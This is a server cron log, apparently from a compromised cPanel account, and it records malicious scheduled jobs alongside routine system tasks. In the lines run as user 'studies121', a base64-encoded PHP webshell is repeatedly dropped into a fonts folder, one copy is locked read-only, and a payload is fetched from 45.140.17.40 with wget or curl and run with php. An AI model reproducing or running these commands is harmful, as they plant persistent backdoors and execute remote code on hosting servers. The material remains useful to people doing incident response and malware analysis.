Sep  8 10:02:01 ip-184-168-122-23 CROND[29566]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 10:02:01 ip-184-168-122-23 CROND[29567]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 10:02:01 ip-184-168-122-23 CROND[29568]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 10:02:01 ip-184-168-122-23 CROND[29569]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 10:03:01 ip-184-168-122-23 CROND[29657]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 10:03:01 ip-184-168-122-23 CROND[29658]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 10:03:01 ip-184-168-122-23 CROND[29661]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 10:03:01 ip-184-168-122-23 CROND[29662]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 10:04:01 ip-184-168-122-23 CROND[29744]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 10:04:01 ip-184-168-122-23 CROND[29746]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 10:04:01 ip-184-168-122-23 CROND[29747]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 10:04:01 ip-184-168-122-23 CROND[29748]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 10:04:01 ip-184-168-122-23 CROND[29749]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 10:05:01 ip-184-168-122-23 CROND[29879]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 10:05:01 ip-184-168-122-23 CROND[29882]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 10:05:01 ip-184-168-122-23 CROND[29883]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  8 10:05:01 ip-184-168-122-23 CROND[29885]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 10:05:01 ip-184-168-122-23 CROND[29880]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 10:05:01 ip-184-168-122-23 CROND[29881]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 10:05:01 ip-184-168-122-23 CROND[29886]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 10:06:01 ip-184-168-122-23 CROND[30076]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 10:06:01 ip-184-168-122-23 CROND[30078]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 10:06:01 ip-184-168-122-23 CROND[30081]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 10:06:01 ip-184-168-122-23 CROND[30082]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 10:06:01 ip-184-168-122-23 CROND[30083]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 10:07:01 ip-184-168-122-23 CROND[30182]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 10:07:01 ip-184-168-122-23 CROND[30181]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 10:07:01 ip-184-168-122-23 CROND[30183]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 10:07:01 ip-184-168-122-23 CROND[30184]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 10:08:01 ip-184-168-122-23 CROND[30300]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 10:08:01 ip-184-168-122-23 CROND[30301]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 10:08:01 ip-184-168-122-23 CROND[30304]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 10:08:01 ip-184-168-122-23 CROND[30305]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 10:08:01 ip-184-168-122-23 CROND[30307]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 10:09:01 ip-184-168-122-23 CROND[30411]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 10:09:01 ip-184-168-122-23 CROND[30412]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 10:09:01 ip-184-168-122-23 CROND[30414]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 10:09:01 ip-184-168-122-23 CROND[30413]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 10:09:01 ip-184-168-122-23 CROND[30418]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  8 10:10:01 ip-184-168-122-23 CROND[30509]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 10:10:01 ip-184-168-122-23 CROND[30508]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 10:10:01 ip-184-168-122-23 CROND[30510]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 10:10:01 ip-184-168-122-23 CROND[30511]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 10:10:01 ip-184-168-122-23 CROND[30516]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 10:10:01 ip-184-168-122-23 CROND[30519]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 10:10:01 ip-184-168-122-23 CROND[30518]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 10:10:01 ip-184-168-122-23 CROND[30520]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 10:11:01 ip-184-168-122-23 CROND[30706]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 10:11:01 ip-184-168-122-23 CROND[30707]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 10:11:01 ip-184-168-122-23 CROND[30709]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 10:11:01 ip-184-168-122-23 CROND[30712]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 10:12:01 ip-184-168-122-23 CROND[30807]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 10:12:01 ip-184-168-122-23 CROND[30809]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 10:12:01 ip-184-168-122-23 CROND[30812]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 10:12:01 ip-184-168-122-23 CROND[30814]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 10:12:01 ip-184-168-122-23 CROND[30813]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 10:13:01 ip-184-168-122-23 CROND[30893]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 10:13:01 ip-184-168-122-23 CROND[30894]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 10:13:01 ip-184-168-122-23 CROND[30895]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 10:13:01 ip-184-168-122-23 CROND[30897]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 10:14:01 ip-184-168-122-23 CROND[30989]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 10:14:01 ip-184-168-122-23 CROND[30990]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 10:14:01 ip-184-168-122-23 CROND[30993]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
